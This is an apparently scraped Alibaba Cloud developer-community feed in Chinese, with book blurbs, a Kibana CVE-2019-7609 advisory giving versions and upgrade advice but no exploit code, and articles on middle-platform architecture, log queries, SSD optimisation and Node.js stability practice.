本书不是一本简单介绍Kotlin语法应用的图书,而是一部专注于帮助读者深入理解Kotlin的设计理念,指导读者实现Kotlin高层次开发的实战型著作。书中深入介绍了Kotlin的核心语言特性、设计模式、函数式编程、异步开发等内容,并以Android和Web两个平台为背景,演示了Kotlin的实战应用。 ]]> 带你读《5G NR标准:下一代无线通信技术》之二:5G标准化-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 简介: 本书对NR标准进行了描述。NR标准是在2018年春末由3GPP制定的新一代无线接入技术标准。本书内容比较偏底层,阅读时结合协议去读会有更大的收获,而且全书深入浅出的风格非常好,可以使读者读后知其然又知其所以然! ]]> 带你读《并发模式与应用实践》之一:并发简介-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 简介: 本书解释了如何利用并行体系结构的不同特性,使代码更快、更高效。首先介绍基本的并发概念,并探索围绕显式锁定、无锁编程、future模式和actor模式。其次,深入讲解不同的并发模型和并行算法,并将它们应用到不同的场景中,以挖掘应用程序的真正潜力。本书将带读者了解多线程设计模式,如主/从模式,Leader/Followers模式,map-reduce模式,以及监视器模式,还将帮助读者学习使用这些模式的实际编码。 ]]> AI赋能DevOps:数据驱动的全栈工程师实践-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 简介: DevOps是什么?对于传统的软件研发而言,开发,测试,运维,运营,有不同的岗位进行分工协作,以保证质量和专业度,同一件事情,依赖不同岗位的排期、沟通、协调,效率难免会有打折。而对于互联网业务来说,快速的迭代,对人力的需求非常强烈,不大可能有足够的人力支撑这么多岗位。 ]]> 威胁预警|Solr velocity模板注入远程命令执行已加入watchbog武器库,漏洞修补时间窗口越来越短-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 简介: 当新的漏洞被披露出来时,可供企业用户修复的时间窗口越来越短,因此防守方需要及时地关注新披露可利用漏洞,以及采取缓解措施或进行修复,必要时可考虑选用安全产品帮助保障安全。 ]]> 带你读《并发模式与应用实践》之二:并发模式初探-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 简介: 本书解释了如何利用并行体系结构的不同特性,使代码更快、更高效。首先介绍基本的并发概念,并探索围绕显式锁定、无锁编程、future模式和actor模式。其次,深入讲解不同的并发模型和并行算法,并将它们应用到不同的场景中,以挖掘应用程序的真正潜力。本书将带读者了解多线程设计模式,如主/从模式,Leader/Followers模式,map-reduce模式,以及监视器模式,还将帮助读者学习使用这些模式的实际编码。 ]]> 【漏洞预警】Kibana < 6.6.1 远程命令执行漏洞(CVE-2019-7609) Fri, 02 May 2025 09:39:04 +0800 2019年10月17日,阿里云应急响应中心监测到国外安全研究人员披露Kibana远程命令执行漏洞(CVE-2019-7609)利用代码。攻击者通过构造特定的请求,成功利用漏洞可在目标服务器上执行任意命令,风险极大。


        漏洞描述

        Kibana是Elasticsearch的开源数据可视化插件。攻击者利用漏洞可以通过Timelion组件中的JavaScript原型链污染攻击,向Kibana发起相关请求,从而接管所在服务器,在服务器上执行任意命令。


        影响版本

        Kibana < 6.6.1

        Kibana < 5.6.15


        安全建议

        升级Kibana至新版本


        云盾WAF已可防御此漏洞攻击

        云盾漏洞扫描已支持对该漏洞检测

        云盾云安全中心应急漏洞模块已支持对该漏洞一键检测


        相关链接

        https://slides.com/securitymb/prototype-pollution-in-kibana

        https://discuss.elastic.co/t/elastic-stack-6-6-1-and-5-6-15-security-update/169077



        我们会关注后续进展,请随时关注官方公告。

        ]]>
        阿里架构总监一次讲透中台架构 Fri, 02 May 2025 09:39:04 +0800 本文整理了阿里几位技术专家,如架构总监 谢良纯,中间件技术专家 玄难等几位大牛,关于中台架构的几次分享内容,将业务中台形态、中台全局架构、业务中台化、中台架构图、中台建设方法论、中台组织架构、企业中台建设实施步骤等总共13页PPT精华的浓缩,供大家学习借鉴。

        01

        阿里业务中台架构图

        基础设施服务,即IAAS层,提供硬件底层支持。

        基础服务层,即PAAS层,包括分布式服务框架、分布式数据库、分布式消息、分布式存储、分布式事务、实时监控服务等等。

        互联网业务中台,包括各服务中心的抽象出来的各种业务能力,包括交易中心、支付中心、营销中心、结算中心、用户中心、账户中心等等。也包括非业务类服务,如日志分析中心、配置中心、序列中心、基础中心。

        业务应用,经过调取业务中台,组装形成独立业务服务能力的业务应用,如

        交易来源,就是前台用户使用的各个端,如淘宝App、PC站等。

        02

        业务中台化-产品形态

        阿里的电商生态,就是要根据对商业的理解,把一些基础逻辑梳理出来。例如什么是业务?什么是业务身份?各个业务领域的边界是什么?每个领域提供的基础服务是什么?领域服务和领域服务之间的流程链接标准是什么?再在这些思想的指导下去建立业务平台化的实施标准和业务管控标准。

        电商业务中台由一系列:业务能力标准、运行机制、业务分析方法论,配置管理和执行系统以及运营服务团队构成的体系,提供各业务方能够快速,低成本创新的能力。

        03

        业务中台化-全局架构

        中台建设需要一个中心化控制单元,就是我们的运营平台。它主要由协议标准、能力地图、业务需求结构分解、全局业务身份、业务全景图、业务度量等构成。能让我们有一个地方纵观全局,把控细节。

        其中能力地图是一个最基础的设施,要能把电商生态里面的能力都呈现出来,并在过程中不断的优化完善。就象我们现在出行离不开XX地图一样,今后所有的业务方需要做业务规划,业务创新,都可以到这儿来寻找需要的基础能力。

        04 

        业务中台化 - 业务创新和智能化

        为了能将业务逻辑本身与实现逻辑分离,可以将业务逻辑下发给不同实现的执行系统,引入竞争,方便业务平台的改造升级,我们要将控制信息从业务平台中抽离到业务中台,以业务身份为主线来进行组织管理和呈现。并以生态角色的视角来重构信息架构。这样的变革对我们原来的系统架构提出了更高的要求。

        通过业务中台化,我们把所有业务的数据汇集沉淀。每个业务它是怎么出来的,出来之后做了哪些业务需求,业务活动,每个业务活动的效果是怎么样的,都可以沉淀下来。

        05

        阿里核心业务架构

        通过阿里云平台将技术中台进行部署,对集团内共享业务单元提供支撑,并最终对前台各业务线提供服务化能力输出。

        06

        阿里数据中台架构

        阿里巴巴提出的数据中台模式正是为解决这些问题而生,并通过实践形成了统一全域数据体系,实现了计算存储累计过亿的成本降低、响应业务效率多倍提升、为业务快速创新提供坚实保障。

        全域数据采集与引入:以需求为驱动,以数据多样性的全域思想为指导,采集与引入全业务、多终端、多形态的数据;

        标准规范数据架构与研发:统一基础层、公共中间层、百花齐放应用层的数据分层架构模式,通过数据指标结构化规范化的方式实现指标口径统一;

        连接与深度萃取数据价值:形成以业务核心对象为中心的连接和标签体系,深度萃取数据价值;

        统一数据资产管理:构建元数据中心,通过资产分析、应用、优化、运营四方面对看清数据资产、降低数据管理成本、追踪数据价值。

        统一主题式服务:通过构建服务元数据中心和数据服务查询引擎,面向业务统一数据出口与数据查询逻辑,屏蔽多数据源与多物理表;

        极大的丰富和完善了阿里巴巴大数据中心,OneData、OneID、OneService渐趋成熟并成为上至CEO、下至一线员工共识的方法论体系。

        07

        阿里技术全栈全景图

        阿里技术全栈包含:移动中台、业务中台、数据中台、基本中间件、基础设施、前台业务、后台业务。

        移动中台,包括移动网关、开发套件&框架、消息推送、移动IM等等,提供了限流、负载、鉴权、消息推送、开发框架等等,使得移动端应用开发效率更高。

        业务中台&数据中台,将业务、数据抽象和沉淀形成服务能力,对前台提供调用。

        08

        阿里技术平台底座

        在阿里集团内部,所有业务中台、前台,共享一个技术平台底座,将阿里多年技术沉淀的价值最大化,提供运行更稳定、架构更灵活的技术支撑。

        09

        阿里中台组织架构

        阿里巴巴集团在近期的组织结构调整中,组成由“小前台,大中台”互为协同的创新管理模式。

        原阿里巴巴中国零售事业群总裁张建锋将担负起“中台”的重要工作,负责共享、数据、搜索,以及闲鱼、淘宝头条等创新孵化业务。

        10

        业务中台建设路径

        阿里对业务中台建设路径进行了总结提炼:

        1、决心变革。企业内达成战略共识,一把手牵头,做总体规划、分步实施,找准切入点,解决具体业务问题。

        2、成功试点。通过分析调研,明确业务目标和范围,完成技术平台引入、中台建设方法论宣导,进行试点,梳理标杆,积累经验。

        3、持续融合。总结出适合企业自身的理念和规范,优化组织、提升中台效率。

        11

        企业中台战略升级的4个方面

        阿里建议企业实施中台战略的4个升级:

        1、战略升级。通过中台建设,落地企业数字化战略。

        2、组织升级。组织架构需要与中台架构相匹配,根据企业实际情况优化组织效率。

        3、流程升级。将企业现有流程进行梳理,优化及固化企业流程,提升企业运作效率。

        4、技术升级。通过互联网技术,对企业基础技术设施进行升级,降本增效。

        12

        阿里中台的能力开放

        阿里基于阿里云、ET大脑、业务&数据双中台,将阿里10多年的技术能力向社会进行开放。

        13

        阿里业务中台建设方法论

        中台建设的基础协议

        就是要根据我们对商业的理解,把一些基础协议梳理出来。例如什么是业务?什么是业务身份?各个业务领域的边界是什么?每个领域提供的基础服务是什么?再在这些思想的指导下去建立业务平台化的实施标准和业务管控标准。

        中台的基础设施:中心化控制单元

        就是运营平台,它主要由协议标准、能力地图、业务需求结构分解、全局业务身份、业务全景图、业务度量等构成。能让我们有一个地方纵观全局,把控细节。

        14

        本文要点小结

        1,阿里业务中台架构图。阿里完整前后中台技术架构图。

        2,业务中台化-产品形态。将商业基础形态和逻辑梳理出来,解构成业务“积木块”。

        3,业务中台化-全局架构。建立中台的中心化控制单元,对中台有一个纵观全局的视图。

        4,业务中台化 - 业务创新和智能化。业务中台化,汇集和沉淀业务逻辑和数据,对快速创新提供支持。

        5,阿里核心业务架构。小前台、大中台、轻后台的相互支撑体系。

        6,阿里数据中台架构。数据中台建设理论、方法和实践。

        7,阿里技术全栈全景图。阿里的移动中台、业务中台、数据中台、技术中台。

        8,阿里技术平台底座。阿里多年技术积累和沉淀,构建在阿里云之上。

        9,阿里中台组织架构。阿里的中台战略,相匹配的组织架构升级。

        10,业务中台建设路径。企业中台建设应遵循的3个步骤:决心变革、成功试点、持续融合。

        11,企业中台战略4个升级。从战略、组织、流程、技术四个方面进行升级。

        12,阿里中台的能力开放。基于阿里云、ET大脑、业务&数据双中台的能力开放。

        13,阿里业务中台建设方法论。中台建设和基础协议、中心化操控单元。


        ]]>
        一篇文章玩转阿里云日志服务查询分析控制台 Fri, 02 May 2025 09:39:04 +0800 前言

        服务器,操作系统,应用程序会产生日志,每个独立的系统内部都会有一套日志系统,依靠这些日志才能在系统出现问题的时候进行排查修复,如何去利用好日志就成为了业务飞速发展道路上的一道难题。阿里云日志服务在提供一站式接入服务的同时,还具备强大的日志查询功能,下面就用几分钟来快速玩转日志数据挖掘。

        初步预览

        在日志服务控制台上完成数据接入后,海量的数据就可以在云上查询,打开查询分析页面后会看到页面上大部分的区域会显示最新原始日志的内容。

        直方图(histogram)概览

        首先在有产生日志的情况下,页面里会有一个绿色柱状图的图表,这个是概览日志情况的histogram,x轴显示了具体的时间,y轴显示了日志的数量。根据绿色柱形的波动就能看到这一段时间内日志产生的变化情况,如果当前的日志是服务器的访问日志,那就可以快速地发现这段时间内整个服务的负载情况


        ]]>
        阿里基于Open-Channel的优化应用 Fri, 02 May 2025 09:39:04 +0800 原标题:FMS2019:阿里基于Open-Channel的优化应用

        原文:Open-Channel SSDs for Host-Based Optimization

        By: Yu Du, Feng Zhu, Sheng Qiu, Shu Li from Alibaba

        阿里自研SSD概况:

        2016年首次部署5万片Host Based PCIe SSD(注:没有说NVMe,可能是AHCI或者PCIe转SATA);

        2017年开始部署NVMe SSD(Device based, SSD自行管理FTL)

        目前的AliFlash V3,从Device base进化到Open Channel

        Ali FTL驱动

        • 模块化的命令集

        • 代码量<50K

        • 一套代码支持Kernel/User mode

        • 采用DDR模拟盘进行测试

        优化应用:非连续读

        以上图这个8K的读操作为例,Host希望读取的8K数据,LBA0和LBA1分别在Plane0和Plane1上,正常情况下需要下发两个single plane的4K读操作。但是通过主动多读取两个LBA(淡紫色部分),可以使用一个Multi-Plane 读命令一次读取16K数据。

        优化应用:合并写和填充

        • 减少写命令的数量以获取更好的IOPS和时延表现;

        • 将Host下发的多个4K/8K写操作,合并为一个写命令下发给SSD;

        • 通过主动填充无效数据保证所有的Host写入对齐;

        优化应用:写入流管理

        • 3个正常IO写工作流,1个GC(Garbage Collection)写工作流;

        • IO和GC独立管理;

        • 基于配额的GC策略;

        • Free space越少,相应提高GC的速度;

        优化应用: 顺序读预取

        基于State Machine的监测机制,当发现当前IO为Sequential read时,利用Host DDR作为Buffer提前预读取,相同应用场景下吞吐量是普通SSD的5倍。

        支持多达300+的debug参数,包括:

        • IOPS

        • Latency/QoS

        • GC/WL

        • Media Error

        • FTL Driver parameters

        • FTL Key data structures

        FTL驱动参数和策略能够根据不用的应用场景进行配置,而且其中部分参数支持动态调整。

        阿里这个级别的厂商,有足够的动力开发完全适配自身应用的SSD,未来会推出哪些更多的应用,我们拭目以待。


        ]]>
        基于阿里云的 Node.js 稳定性实践 Fri, 02 May 2025 09:39:04 +0800 前言

        如果你看过 2018 Node.js 的用户报告,你会发现 Node.js 的使用有了进一步的增长,同时也出现了一些新的趋势。

        • Node.js 的开发者更多的开始使用容器并积极的拥抱 Serverless

        • Node.js 越来越多的开始服务于企业开发

        • 半数以上的 Node.js 应用都使用远端服务

        • 前端开发者们开始越来越多的关心和参与到后端和全栈中去

        可以看到越来越多的前端开发者们具备了全栈的能力,更多的核心应用开始基于 Node.js 开发,而其中,保障应用的稳定性是每一个开发者的“头等大事”。

        稳定性是什么?一般来说,指的是应用持续提供可用服务的能力,一旦应用频繁不可用或出现故障无法及时恢复,对用户的使用体验都是巨大的伤害,甚至会造成很多更严重的后果。稳定性保障不仅仅是开发阶段的事情,它应该是贯穿应用的开发、测试、上线、监控等,覆盖整个 DevOps 生命周期的事情。

        本身阿里云提供了丰富的产品和服务来支持整个 DevOps。

        包括 Code 代码托管PTS 性能测试SLS 日志服务云效 等等。

        本文也将围绕整个 DevOps 生命周期,来介绍基于阿里云的 Node.js 稳定性保障的实践。

        应用开发

        稳定性的保障从应用开发阶段就已经开始了,这部分也是相关资料文章最多的,相信有追求的开发者都会关注并且已经应用和实践。

        异常捕获和处理

        应用运行过程中难免会有异常发生,再大神的程序员也不敢保证自己写的代码不出问题。其实出现异常不可怕,可怕的是异常没有捕获,进而引起应用进程 crash,导致应用不可用。

        正常来说,捕获异常有一下几种方式:

        • try/catch

          try/catch 是捕获异常的常用方式,可以帮助我们可控的捕获错误,但是 try/catch 无法捕获异步异常。

          try {
              setTimeout(() => {
                  throw new Error('error');
              }, 0);
          } catch(err) {
              // can't catch it
              console.log(err);
          }

          上面的异步异常使用 try/catch 是无法捕获的。捕获异步日常我们可以使用一下的方式。

        • 异步异常

          • callback 异步回调

            通过异步回调来处理异步错误可能是目前最广泛的方案。

            function demo(callback) {

            setTimeout(() => {
                callback(new Error('error'), null);
            }, 0);

            }
            demo((err, res) => {

            if (err) console.log(err);

            });

            当然,callback 方式存在一直被人诟病的嵌套问题
          • promise

            使用 promise 可以通过 reject 抛出错误,通过 catch 捕获错误

            new Promise((resolve, reject) => {

            setTimeout(() => {
                reject(new Error('error'));
            }, 0);

            })
            .catch(err => {

            console.log(err);

            });

          • generator

            使用 generator 可以让我们使用同步的代码写法来调用异步函数,可以直接 try/catch 来捕获异常

            function* demo() {

            try {
                yield new Promise((resolve, reject) => {
                    setTimeout(() => {
                        reject(new Error('error'));
                    }, 0);
                });
            } catch(err) {
                // can catch
                console.log(err);
            }

            }

            yield demo();

          • async/await

            async/await 应该是目前最简单和优雅的异步解决方案了,写起来和同步代码一样直观,可以直接使用 try/catch 来捕获异常

            const demo = async function() {

            try {
                await new Promise((resolve, reject) => {
                    setTimeout(() => {
                        reject(new Error('error'));
                    }, 0);
                });
            } catch(err) {
                // can catch
                console.log(err);
            }

            };

        • uncaughtException

          当异常抛出未被捕获时,会触发 uncaughtException 事件。只要监听了 uncaughtException 事件并设置了回调,Node 进程就不会异常退出。

          process.on('uncaughtException', function(err) {
              console.error(err);
          });

          但是这时异常的上下文会丢失(respond 对象),无法给用户友好的返回。而且由于uncaughtException 事件发生后,会丢失当前环境的堆栈,可能导致 Node 不能正常进行内存回收,从而导致内存泄露。因此,使用 uncaughtException 的正确做法一般是,当 uncaughtException 发生时,记录详细的日志,然后结束进程,通过日志和报警来及时的定位和排查问题。

        • domain

          为了弥补 try/catch、uncaughtException 的不足,Node 新增了一个 domain 模块,可以捕获异步异常并且不会丢失上下文。

          听起来很完美,但是该模块目前是不稳定的(Stability: 0 - Deprecated)。同时其可能存在稳定性和内存泄露的问题,因此要谨慎使用。

          一般来说,我们开发 Node 应用,只需要关注我们应用逻辑异常的捕获即可,本身我们使用的 Node 框架,比如:Egg、Midway 等都会在底层帮我们进行处理,保证一些我们不可控或者未预期的异常出现时,不会导致应用崩溃。

        虽然框架帮我们进行的兜底,但是依然需要我们针对自己的应用逻辑进行异常处理,给用户友好的异常提示。一般出现异常时,我们需要尽可能保证:

        • 对出现异常的用户,进行友好的提示

        • 不影响应用其他用户的正常使用

        • 不影响应用进程的正常运行

        • 详细的异常日志记录和报警机制,方便快速定位、解决问题

        如果你使用的是 Egg,你可以使用 onerror 插件来做统一的处理。同时不建议将异常信息直接返回给用户,返回用户的应该是更语义化更友好的信息,而原始的错误堆栈和信息等,你可以通过日志进行记录,日志信息越详细越好,比如除了最基本的 name、message、stack 外,你还可以记录当前一些关键的参数以及当前调用链路的 traceId 等,这样的目的只有一个,就是可以快速定位到错误,以及错误发生的上下文。具体的链路监控下文会讲到。

        强弱依赖

        在设计应用架构时,重要的一步就是区分强弱依赖。强弱依赖的定义应该视对业务的影响程度而定,并不能单纯的认为会导致系统挂掉的依赖才是强依赖。尽量减少强依赖,因为强依赖意味着,一旦该强依赖出现问题,会导直接影响业务的进行。一个应用的依赖可能涉及到以下几个部分。

        • 数据

          应用的开发基本离不开数据的读写,这也导致我们的应用基本都是强依赖 DB 的,DB 一旦出现问题,那我们的应用可能就不可用了,因此我们可以通过 DB 上加一层缓存来增加一层保险,当数据更新的时候刷新对应的缓存,这样任何一层出现问题,都不会对应用带来灾难性后果。这里你需要额外注意数据同步的机制和一致性的保证,同时对于数据读取要设置合理的超时时间,比如读取缓存,如果 10ms 内没有响应就直接读取数据库,再有就是异常的处理,比如要保证读取缓存时出现异常不能影响 DB 的正常读取。
        • 中间件

          如果依赖了其他的中间件,也要考虑是否对某个中间件进行了强依赖,如果这个中间件故障了,会不会对我们的应用造成严重故障。
        • 二方/三方系统

          我们的应用或多或少都会依赖其他的二方或者三方系统,对我们依赖的这些系统的稳定性,我们尽量要做到心中有数,尽量不进行强依赖,如果出现异常,要做好详细的日志记录,快速定位出现问题的依赖方和出现问题的上下文,不然定位问题和复现问题可能就要花去你大部分时间了,同时提前做好处理方案,不要出现问题了就抓瞎了。当然如果我们依赖其他系统提供的数据,那依然可以使用缓存来加一层保障。

          其中有可能你的应用面临突发流量时,需要对一些下游弱依赖进行降级,以保证当前系统以及下游的正常运行使用。需要明确的是依赖可以降级,但是功能不能降级,举个例子,实现一个商品收藏夹的页面功能,每个商品上会有一个加购按钮,如果商品是否可以加购的查询依赖于二方系统,那你就需要考虑面临突发流量时对该依赖进行降级,错误的降级方式是直接不展示这个加购按钮,这种方式降级了依赖同时降级了功能。比较好的处理方式是,全部商品都展示加购按钮,当用户点击加购时,才去请求二方系统,检查是否可以加购。通过牺牲一点用户的体验来保证整个系统的稳定性。

        多进程

        我们知道 JavaScript 单线程运行的,换句话说一个 Node.js 进程只能运行在一个 CPU 上,因此无法享受到多核运算的好处。Node.js 针对这个问题提供了 Cluster 模块,可以在服务器上同时启动多个进程,每个进程里都跑的是同一份源代码,并且可以同时监听一个端口。当然作为一个对外服务的应用来说,要考虑的东西还有很多,比如异常如何处理,进程间如何共享资源,进程间如何调度等等。如果你使用的是 Egg/Midway,这些问题框架已经帮你解决掉了。对于 Egg 来说,你可以详细参考:多进程模型和进程间通讯。这里不再赘述。

        单元/功能测试

        单元/功能测试的重要性毋容置疑,为代码质量提供持续性的保障,同时可以增强你修改、发布代码的信心。单元测试用于测试最小功能单元,比如单个方法。而针对 Node 开发的 Web 应用,我们可以直接针对接口进行功能测试,如果针对函数方法写单元测试的话,成本有点高,而接口的功能测试基本可以覆盖 Router、Controller、Model 整条链路了,覆盖不到的函数逻辑再对其单独编写单元测试用例,这样成本会小很多,而且达到的测试覆盖率并没有折扣。

        如果你使用了 Egg/Midway 等框架,框架本身对单元测试能力已经帮你进行了集成,你只需要按照约定编写用例并使用即可,可以参考 Egg 单元测试

        持续集成

        有了单元/功能测试以后,下一步就需要考虑持续集成了。阿里云提供了 CodePipline以及云效 帮助你进行快速可靠的持续集成与交付

        流程规范

        开发、测试、发布过程中的流程规范也是保障稳定性的重要一环,可以有效避免一些人为的疏忽。比如应用写了测试用例,但是在用例没通过的情况下发布上线等等。因此配置一套自动化的流程规范十分有必要,阿里云的云效提供了完整的项目管理、持续集成的能力,在上面可以完成日常开发、测试、发布的流程。详细的操作可以参考其帮助文档。这里补充一些流程上的实践。

        CodeReview

        CodeReview 十分重要,它可以及时发现一些比较明显的代码、逻辑问题,同时可以保证多人合作的代码理解和维护。但是如果没有一个流程规范和卡口,CodeReview 是很难自发坚持下去的。

        CodeReview 可以分为提交前(pre-commit)和提交后(post-commit)两种。本身就是字面意思,pre-commit 既必须通过 CodeReview 才可以提交代码,而 post-commit 既先提交代码,然后发起 CodeReview。相比起来,pre-commit 流程更加合理,因为 post-commit 不阻碍代码提交变更、发布的流程,既即使没有 reivew 通过,依然可以提交变更并发布。而 post-commit 相对于 pre-commit 来说会更容易实施。

        而对于 post-commit,如果其 review 的结果并不影响代码提交变更和发布,那如何做流程卡口呢?你可以使用云效自定义流水线,通过人工卡点的方式来保证流程。

        通过人工卡点,来增加流程卡口,后续云效也会上线 CodeReivew 功能,敬请期待。更多流水线的操作,你可以参考其帮助文档

        如果你觉得配置 pre-commit 过于麻烦,而 post-commit 流程上过于滞后的话,也可以采用依靠约定的折中方案,使用 Git 的 PR 功能。我们不从部署分支上进行开发,而是基于部署分支继续检出开发分支,开发完成需要提交部署时,提交 PR,指定给需要 review 的同学,通过后会将开发分支合并到部署分支。当然这种方式依赖流程规范的约定,无法进行强制的卡口。

        增加测试卡点

        前文讲过,我们需要为应用实现单元/功能测试,那如何保证应用部署发布前一定通过了单元/功能测试呢?我们可以在云效的流程中增加测试卡点,来保证我们编写的测试用例通过后,当前部署分支才可进行发布,通过云效的自动化测试卡口保障持续交付质量。

        首先我们需要新建一个测试任务,在 [云效的测试服务]https://testing.rdc.aliyun.com/)中选择“单元测试”。

        将创建的测试任务和流水线关联,作为持续集成交付的测试卡口。每次集成交付,都会运行测试任务,同时保证测试结果达到红线要求,否则流水线运行失败。

        更多操作步骤可以参考帮助文档

        性能测试

        应用在发布前以及上线后周期性的,都需要做性能测试,一方面让我们对应用的吞吐心里有数,另一方面保证长时间运行的稳定,毕竟有些问题可能是运行很多次才可能出现的,比如 OOM 等。阿里云提供了方便的性能测试产品:PTS

        PTS 支持构建串行、并行的构建你的压测场景,并且支持并发和 TPS 模式来控制你的压测流量,最后,PTS 还提供了丰富的监控和压测报告,实时监控和报告中包括但不局限于各 API 的并发、TPS、响应时间和采样的日志,请求和响应时间还有不同的细分数据,和阿里云生态内的云监控、ARMS监控无缝集成。

        创建压测场景

        首先你需要对压测进行计划,需要明确场景,对流量进行预估,设定目标值,否则压测毫无意义,你完全无法明确当前系统是否可以稳定的支撑你的业务场景。其次需要对各种系统预案进行摸高压测,明确各个预案下能支持的压力上限,以此来保证在合适的情况下可以执行对应的预案并可以达到预期效果。

        详细的创建压测场景的步骤,可以参考 PTS 帮助文档。一般来说,我们可以创建两个场景,分别用来回归测试和容量评估,回归测试的场景,可以设置固定的并发数量,周期性的持续压测,来暴露一些长时间运行可能的潜在问题、而容量评估场景,需要设置自动增长的方式,用来寻找系统的压力上限。

        施压配置

        对于容量评估的场景,我们可以开启自动增长,按照固定比例进行压测量级的递增,并在每个量级维持固定压测时长,以便观察业务系统运行情况。

        同时 PTS 给我们提供了更加方便的智能测试模式,帮我们探测系统的最佳压力点、极限压力点和破坏压力点,帮助我们评估系统容量。更详细的操作步骤,可以参考 PTS 容量评估

        性能指标

        对于预估正常的并发量来说,性能测试一般通过标准为:

        • 超时率小于万分之一

        • 错误率小于万分之一

        • CPU 利用率小于 75%

        • Load 平均每核 CPU 小于 1

        • 内存使用率小于 80%

        更多可参考 PTS 测试指标。对于压力测试来说,一般我们把 CPU 压到 100% 或者内存压到 90% 左右,既可认为压到了极限,如果此时你发现其他指标可能都是正常的,那么说明你的应用可能还有很大的优化空间,可以有针对性的去检查并进一步优化。

        回归测试

        我们需要保证应用长时间持续性的稳定,而有些问题可能是运行很多次才可能出现的,比如 OOM 等。而回归测试指的是周期性的持续压测,通过回归测试,来提前暴露出系统长时间运行中可能出现的潜在问题。

        PTS 为我们提供的方便的定时功能,可以指定测试任务的执行日期、执行时间、循环周期和通知方式等,从而实现定时压测。你可以参考 PTS 定时压测来配置自己的回归测试。

        当然云效也给我们提供了功能更为强大的回归测试平台,可以将线上真实流量复制并用于自动回归测试的平台。通过它,不仅能够实现低成本的日常自动化回归,同时通过它提供扩展能力可以支持系统重构升级的自动回归。比如系统重构时,复制真实线上环境流量到被测试环境进行回归,相当于在不影响业务的情况下提前上线检测系统潜在的问题。同时还可以将录制的流量作为用例管理起来进行自动化回归。

        你可以参考自动回归服务接入使用文档来配置功能强大的回归测试。

        监控报警

        应用出现异常并不可怕,可怕的是出现问题以后而并不自知。没有哪个系统可以保证线上不出现问题,重要的是及时发现问题并解决,不让问题持续恶化。因此线上的监控和报警十分重要。

        监控与日志

        一般来说我们需要进行三个方面的监控:业务可用性、业务指标衡量、业务错误追踪,而对应的方式为:健康检查、单点度量、错误日志和链路。

        健康检查

        健康检查是用来定义一个应用当前的状态,它需要能频繁调用并快速返回,而健康检查包含着一系列的检查项,比如:

        一般来说,我们可以通过 Pandora + 云监控 CloudMonitor 来帮助我们进行健康检查。

        首先 Pandora 是阿里内部开源出去的,提供一个通用的 Node.js 应用运行时模型和相关基础设施。提供一个标准的 Node.js 的 DevOps 流程。其提供了一些基础的检查,比如磁盘检查,端口检查等。同时我们也可以自定义更多的检查项。

        你可以参考 Pandora 健康检查来使用其提供的健康检查能力。

        Pandora 配置好后,我们可以通过云监控对暴露出来的检查服务进行监控。

        你可以参考云监控的主机监控来配置你的监控能力。

        单点度量

        阿里云提供了 Node.js 性能平台来帮助我们对 Node.js 应用进行单点度量。Node.js 性能平台是面向中大型 Node.js 应用提供性能监控、安全提醒、故障排查、性能优化等服务的整体性解决方案。

        Node.js 性能平台提供了丰富的度量指标,包括系统、进程的内存、CPU、QPS 等等。

        同时,其还为我们提供的故障排查的能力,比如热点函数分析、内存泄露分析等。你可以参考 Node 应用内存泄漏分析方法论与实战来学习使用 Node.js 性能平台发现、定位解决内存泄露问题。

        错误日志和链路

        一般来说,我们需要采集以下几类日志:

        • trace:请求链路的监控日志。当出现错误时,可以根据 traceId 快读的定位到产生问题的那个请求链路,还原上下文。尤其是我们的应用如果依赖了其他二方/三方系统,链路比较长时,可以明确的知道调用依赖系统时的入参和返回,快读定位出现问题的环节,减少扯皮和定位还原问题的时间。

        • error:错误日志。包括应用本身和业务逻辑的错误。

        • metric:CPU、内存等机器指标

        • nginx:如果你的应用用了 nginx,nginx 的错误日志的采集也是很关键的。nginx 的错误日志可能是最容易被忽略的,经常见到这样的场景,应用没有异常,但是访问就是挂的,开发吭哧吭哧排查半天,终于定位到 nginx 有错误抛出。

        其中,trace 链路日志是很重要但是容易被忽略的日志,链路的重要性不言而喻,可以帮助我们分析上下游依赖、进行节点分析和故障排查,尤其是依赖其他二方/三方系统时,trace 链路日志十分重要,但是也是需要花非常大的精力去做,业界的 newRelic,oneAPM 都有着非常明显的链路视图。

        一般来说我们采用 Pandora + SLS 日志服务 + Node.js 性能平台 来进行日志收集。

        其中 Pandora 通过拦截 httpServer 和 httpClient,在对我们系统业务没有侵入性的同时帮助我们收集 trace 链路日志,详细的配置,你可以参考 Pandora 链路追踪及监控

        Node.js 性能平台会帮助我们收集 error 日志。

        配合 SLS 日志服务,可以帮助我们无死角的采集我们需要的任何日志信息。SLS 详细的配置可以参考其帮助文档

        报警

        应用出现异常后,需要有及时的报警机制来提醒我们,以便快速响应和处理。

        监控项与报警指标

        一般来说,需要的监控项及报警指标为:

        • 日志监控

          • Nginx 错误日志

          • 应用 Error 日志

          • Trace 链路日志

        • 日志报警

          • 每分钟错误日志数量 > 流量 * SLA 等级

        • 机器指标

          • CPU > 70%

          • 内存泄露:@heap_used / @heap_limit > 0.7

          • Load > CPU 核数

        • 流量监控

          • 周同比监控:同比下降 > SLA 的承诺

          • 流量预警,接近 QPS 峰值

        其中 SLA 为服务等级,用百分比的服务可用性来来定义服务质量。

        报警配置

        一般来说我们使用 云监控 CloudMonitor + SLS 日志服务 + Node.js 性能平台的报警配置即可。

        其中云监控 CloudMonitor的报警主要针对上文提到的健康检查。你可以参考云监控报警服务来配置报警功能。

        对于 SLS,我们可以对错误数量进行报警,或者根据同比环比来进行报警。比如我们可以新建两个快速查询,针对我们应用 error 和 nginx error 日志。

        这里的查询语句为 * | select count(*) as sum。然后将快速查询另存为告警,根据需要配置告警规则,触发告警时,可以选择通过钉钉机器人进行通知。详细的配置,可以参考 SLS 官方文档设置告警

        对于服务器指标告警,比如 CPU、内存等。我们可以利用 Node.js 性能平台 配置监控。

        可以看到,上面配置的告警规则是:堆上线 80%、load1 和 load5 <= 3、cpu 上线 80%。这里需要编写监控项的表达式,可以参考如何进行监控项表达式的编写

        最后

        其实稳定性的保障还有很多工作和措施可以做,比如我们的部署可以采取多集群、多 Region 的部署,这样可以保证当某个集群或者 Region 出现故障,不会造成更大范围的问题,保证故障范围可控。同时我们还可以采取灰度发布的方式,在不断验证新上线功能的情况下,平滑的过渡发布上线,保证应用整体稳定性等等。

